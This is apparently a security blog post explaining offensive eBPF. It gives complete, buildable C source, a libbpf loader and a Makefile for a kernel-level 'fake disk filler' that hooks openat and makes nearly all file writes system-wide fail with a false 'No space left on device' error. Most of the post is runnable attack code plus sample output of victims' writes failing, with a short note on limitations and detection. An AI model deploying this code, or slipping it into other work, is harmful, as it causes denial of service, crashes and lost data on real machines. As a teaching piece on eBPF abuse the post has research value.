Jan 13, 2026 by Zacharia Mansouri | 131 views
https://cylab.be/blog/471/offensive-ebpf-simulating-a-full-disk
The most effective Denial of Service attacks don’t always require flooding a network or physically filling a hard drive. Sometimes, they just require a well-placed lie. Imagine a system administrator looking at df -h and seeing Terabytes of free space, while every critical service crashes with “No space left on device”. This is the power of kernel-level deception. In this post, we will demonstrate how to use eBPF not to fix a system, but to break it. By hooking into the openat syscall, we will force the OS to lie to its own applications, simulating a catastrophic storage failure without writing a single byte of data.
If you’re new to eBPF, this Practical Introduction could be a helpful place to start.
openatTo write a file in Linux, a program eventually makes a system call. On modern x86 systems, opening a file (or creating one) usually goes through the openat syscall.
Typically, the process unfolds through the following steps:
open(...).We are going to inject an eBPF program into the second step. Our program will inspect the request, and if it involves writing to a target file, it will force an immediate return with a specific error code: ENOSPC (Error: No Space).
program.bpf.c)We’ll start with the code that executes in kernel space. Its job is to intercept the system call, understand what the user is trying to do, and decide whether to allow it or “lie” and return an error.
First, we define our environment. We use vmlinux.h (generated using bpftool) to access kernel data structures without needing system headers, and we define the specific flags openat uses to signal “Write” or “Create” intent.
#define __TARGET_ARCH_x86
#include "vmlinux.h"
#include <bpf/bpf_helpers.h>
#include <bpf/bpf_tracing.h>
#include <bpf/bpf_core_read.h>
// Define Error Code for "No Space Left on Device"
#define ENOSPC -28
// Standard flags for openat()
#define O_CREAT 0x40 // Create file if it doesn't exist
#define O_WRONLY 0x01 // Open for writing only
#define O_RDWR 0x02 // Open for reading and writing
char LICENSE[] SEC("license") = "GPL";
__x64_sys_ WrapperThis is the most technically complex part. When you hook a syscall on modern x86-64 Linux, you don’t get the arguments (like filename or flags) directly.
Instead, the kernel wraps the system call in a “wrapper function” called __x64_sys_openat. This wrapper takes exactly one argument: a pointer to a struct containing the CPU registers.
To get the actual data, we have to perform a double-lookup:
PT_REGS_PARM1) to find the address of the saved registers.SI (Source Index) for the filename and DX (Data Index) for the flags.SEC("kprobe/__x64_sys_openat")
int inject_disk_full(struct pt_regs *ctx)
{
// 1. Unwrap the syscall
// The kernel wrapper holds a pointer to the actual registers in its first argument.
struct pt_regs *regs = (struct pt_regs *)PT_REGS_PARM1(ctx);
// 2. Extract specific arguments from the unwrapped registers
// openat(dfd, filename, flags, mode)
// Argument 2 (filename) lives in the 'si' register
// Argument 3 (flags) lives in the 'dx' register
const char *fname_ptr = (const char *)BPF_CORE_READ(regs, si);
int flags = (int)BPF_CORE_READ(regs, dx);
// ... continued below ...
If we blocked every call to openat, the system would crash immediately because processes wouldn’t be able to read configuration files or load libraries. We must strictly filter for destructive actions: creating new files (O_CREAT) or opening files for writing (O_WRONLY / O_RDWR).
// ... continued from above ...
bool is_creating = (flags & O_CREAT);
bool is_writing = (flags & O_WRONLY) || (flags & O_RDWR);
// If they are just reading, let them pass.
if (!is_creating && !is_writing) {
return 0;
}
We need to ensure our own agent doesn’t get blocked by its own chaos. We read the filename from user memory and check if it matches our program’s name.
char fname[64];
// bpf_probe_read_user_str safely copies the string from user-space memory
long ret = bpf_probe_read_user_str(fname, sizeof(fname), fname_ptr);
// If we fail to read the filename, fail open (allow the call) to be safe.
if (ret < 0) return 0;
// Hardcoded whitelist: If the file is our own binary "./program", allow it.
// In a real scenario, you might check for a specific PID or directory instead.
if (fname[0]=='.' && fname[1]=='/' && fname[2]=='p' && fname[3]=='r' &&
fname[4]=='o' && fname[5]=='g' && fname[6]=='r' && fname[7]=='a' &&
fname[8]=='m') {
return 0;
}
Finally, if the request is a write operation and it’s not whitelisted, we execute the attack.
bpf_override_return does two things:
ENOSPC has the value -28) to the calling application. // "No Space Left on Device"
bpf_override_return(ctx, ENOSPC);
return 0;
}
program.c)The BPF code we wrote above is just a compiled object file sitting on disk. It is dormant. To make it active, we need a user-space program to interact with the Linux kernel, load the bytecode, and verify it is safe to run.
We use libbpf, the industry-standard library for this. It handles the heavy lifting of verifying kernel versions, memory mapping, and attaching probes.
Modern eBPF development uses a “Skeleton” header (program.skel.h). This file is auto-generated by bpftool from our compiled BPF object. It creates a C structure (struct program_bpf) that mirrors our BPF maps and functions, allowing us to interact with them as native C objects.
First, we handle the boilerplate containing the include directives for standard libraries and the generated skeleton header, signal handling (to exit gracefully), and opening the skeleton.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>
#include <bpf/libbpf.h>
#include "program.skel.h" // Auto-generated by bpftool
static volatile bool exiting = false;
static void sig_handler(int sig) { exiting = true; }
int main(int argc, char **argv)
{
struct program_bpf *skel;
int err;
// Open the BPF skeleton.
// This doesn't talk to the kernel yet; it just allocates memory in user-space.
skel = program_bpf__open();
if (!skel) {
fprintf(stderr, "Failed to open BPF skeleton\n");
return 1;
}
At that point, program_bpf__load(skel) takes the bytecode and sends it to the kernel.
The Linux Kernel “Verifier” analyzes every instruction to ensure it is safe (no infinite loops, no illegal memory access).
Note that this is where bpf_override_return might fail. This function is considered dangerous because it changes the kernel logic. If your kernel was compiled without the CONFIG_BPF_KPROBE_OVERRIDE flag, which is common in secure-boot environments, the load step will fail. Indeed, any BPF program that relies on this feature cannot pass the verification step when the option is disabled, preventing it from loading.
// Load the BPF program into the kernel.
// The Verifier runs here. If the kernel forbids error injection, this fails.
if (program_bpf__load(skel)) {
fprintf(stderr, "Failed to load BPF. (Check CONFIG_BPF_KPROBE_OVERRIDE)\n");
return 1;
}
At this stage, the code is loaded in kernel memory but is “detached”, it isn’t running yet. We call program_bpf__attach(skel) to actually hook our function onto __x64_sys_openat.
Once this function returns success, the trap is set. Any process calling openat from this moment forward will pass through our filter.
// Activate the hooks.
// The BPF program is now intercepting syscalls live.
if (program_bpf__attach(skel)) {
fprintf(stderr, "Failed to attach BPF program\n");
return 1;
}
signal(SIGINT, sig_handler);
printf("--- Fake Disk Filler eBPF Agent Running ---\n");
printf("Writes are now globally blocked (fake ENOSPC).\n");
printf("Press Ctrl+C to stop.\n");
That loop exists to maintain the BPF program’s lifecycle. Indeed, the kernel tracks BPF programs using file descriptors. As long as the user-space process holds the file descriptor open, the BPF program stays loaded in the kernel. If the process exits, the OS closes its file descriptors. Consequently, the kernel sees the reference count drop to zero and immediately removes the BPF program.
Therefore, we must sleep in a loop to prevent the process from terminating. This keeps the file descriptor open, ensuring the BPF program continues running until we explicitly stop it.
// Wait for Ctrl+C.
// If we exit, the kernel automatically unloads the BPF program.
while (!exiting) {
sleep(1);
}
// Clean up resources before exiting.
program_bpf__destroy(skel);
return 0;
}
Once compiled and executed with sudo, the agent essentially turns the filesystem into a read-only playground for any process attempting to write new data (except those matching our whitelist).
Terminal 1 (The Agent):
sudo ./program
# --- Fake Disk Filler eBPF Agent Running ---
# Writes are now globally blocked (fake ENOSPC).
# Press Ctrl+C to stop.
Terminal 2 (The Victim):
$ touch important_data.txt
touch: cannot touch 'important_data.txt': No space left on device
$ echo "backup" >> /var/log/syslog
-bash: /var/log/syslog: No space left on device
However, because we filtered the flags, read operations remain unaffected:
$ cat /etc/hosts
127.0.0.1 localhost
# (Success)
This tool is more of a hammer than a scalpel. While we added a small whitelist check in the BPF code, in its current state, it inspects openat for every process on the system.
journalctl, they will see a wall of ENOSPC errors. Furthermore, if the logging daemon itself is blocked from writing, you might trigger a cascading failure where even the logs cannot be saved.dmesg (depending on the distribution), alerting security monitoring tools that the kernel runtime has been modified by an external agent.CONFIG_BPF_KPROBE_OVERRIDE. This is often disabled on generic production kernels for security reasons, as it effectively allows root to alter kernel logic without recompiling modules.PT_REGS_PARM1, BPF_CORE_READ) is specific to x86-64.To keep the project structure clean and standardized, this code follows the pattern outlined in the Getting Started with LibBPF guide. This ensures we are using modern BPF CO-RE (Compile Once - Run Everywhere) best practices, separating the kernel logic, the user-space controller, and the build system into distinct, manageable components.
Hereunder is the complete source code for the project.
program.bpf.c)#define __TARGET_ARCH_x86
#include "vmlinux.h"
#include <bpf/bpf_helpers.h>
#include <bpf/bpf_tracing.h>
#include <bpf/bpf_core_read.h>
// --- Configuration ---
#define ENOSPC -28 // Error: No Space Left
#define O_CREAT 0x40 // Flag: Create
#define O_WRONLY 0x01 // Flag: Write Only
#define O_RDWR 0x02 // Flag: Read/Write
char LICENSE[] SEC("license") = "GPL";
// --- Logic ---
SEC("kprobe/__x64_sys_openat")
int inject_disk_full(struct pt_regs *ctx)
{
// Unpack the syscall wrapper to get actual registers
struct pt_regs *regs = (struct pt_regs *)PT_REGS_PARM1(ctx);
// Read arguments: filename (arg2/si) and flags (arg3/dx)
const char *fname_ptr = (const char *)BPF_CORE_READ(regs, si);
int flags = (int)BPF_CORE_READ(regs, dx);
// Filter: Only block Writes and Creates
bool is_creating = (flags & O_CREAT);
bool is_writing = (flags & O_WRONLY) || (flags & O_RDWR);
if (!is_creating && !is_writing) {
return 0; // Allow read-only
}
// Safely read the filename from user memory
char fname[64];
long ret = bpf_probe_read_user_str(fname, sizeof(fname), fname_ptr);
if (ret < 0) return 0; // Fail safe if we can't read name
// Whitelist: Protect our own agent
if (fname[0]=='.' && fname[1]=='/' && fname[2]=='p' && fname[3]=='r' &&
fname[4]=='o' && fname[5]=='g' && fname[6]=='r' && fname[7]=='a' &&
fname[8]=='m') {
return 0;
}
// 6. Inject the Lie
bpf_override_return(ctx, ENOSPC);
return 0;
}
program.c)#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>
#include <bpf/libbpf.h>
#include "program.skel.h" // Auto-generated by Makefile
static volatile bool exiting = false;
static void sig_handler(int sig) { exiting = true; }
int main(int argc, char **argv)
{
struct program_bpf *skel;
int err;
// Load Skeleton
skel = program_bpf__open();
if (!skel) {
fprintf(stderr, "Failed to open BPF skeleton\n");
return 1;
}
// Load into Kernel
if (program_bpf__load(skel)) {
fprintf(stderr, "Failed to load BPF. (Check CONFIG_BPF_KPROBE_OVERRIDE)\n");
return 1;
}
// Attach Hooks
if (program_bpf__attach(skel)) {
fprintf(stderr, "Failed to attach BPF program\n");
return 1;
}
signal(SIGINT, sig_handler);
printf("--- Fake Disk Filler eBPF Agent Running ---\n");
printf("Writes are now globally blocked (fake ENOSPC).\n");
printf("Press Ctrl+C to stop.\n");
// Keep Alive
while (!exiting) {
sleep(1);
}
// Cleanup
program_bpf__destroy(skel);
return 0;
}
Makefile)To build this, simply run make. It handles generating vmlinux.h, compiling the BPF code to bytecode, generating the skeleton header, and linking the final binary.
BPF_CLANG=clang
BPF_CFLAGS=-g -O2 -target bpf
USER_CFLAGS=-g -O2
NAME=program
BPFOBJ=$(NAME).bpf.o
SKELETON=$(NAME).skel.h
EXEC=$(NAME)
# Build user-space executable
$(EXEC): $(SKELETON) $(NAME).c
$(BPF_CLANG) $(USER_CFLAGS) $(NAME).c -lbpf -o $(EXEC)
# Build BPF object
$(BPFOBJ): $(NAME).bpf.c vmlinux.h
$(BPF_CLANG) $(BPF_CFLAGS) -c $(NAME).bpf.c -o $(BPFOBJ)
# Generate vmlinux.h from system BTF
vmlinux.h:
bpftool btf dump file /sys/kernel/btf/vmlinux format c > vmlinux.h
# Generate skeleton header
$(SKELETON): $(BPFOBJ)
bpftool gen skeleton $(BPFOBJ) > $(SKELETON)
# Clean build artifacts
clean:
- rm -f *.o *.skel.h vmlinux.h $(EXEC)
This “Fake Disk Filler” demonstrates how easily we can subvert the reality presented to applications. When a program receives a “Disk Full” error, it treats it as absolute fact, regardless of the actual physical storage available.
By using eBPF to inject this lie, we created a Denial of Service condition purely in logic, without writing a single byte of garbage data. This highlights that eBPF is no longer just a passive observability tool, but an active control plane capable of rewriting the rules of the operating system on the fly.
This blog post is licensed under
CC BY-SA 4.0
News Jobs Linux Forensics
Virtualization Linux
When using VMware on Linux distributions, particularly on Manjaro, users may encounter a frustrating issue where their virtual machines (VMs) fail to establish an internet connection, resulting in the error message “could not connect Ethernet0 to a virtual network.” This problem can be particularly puzzling, especially for those new to Linux or VMware. In this post, we’ll delve into the causes of this issue and provide a step-by-step guide on how...Linux Sysadmin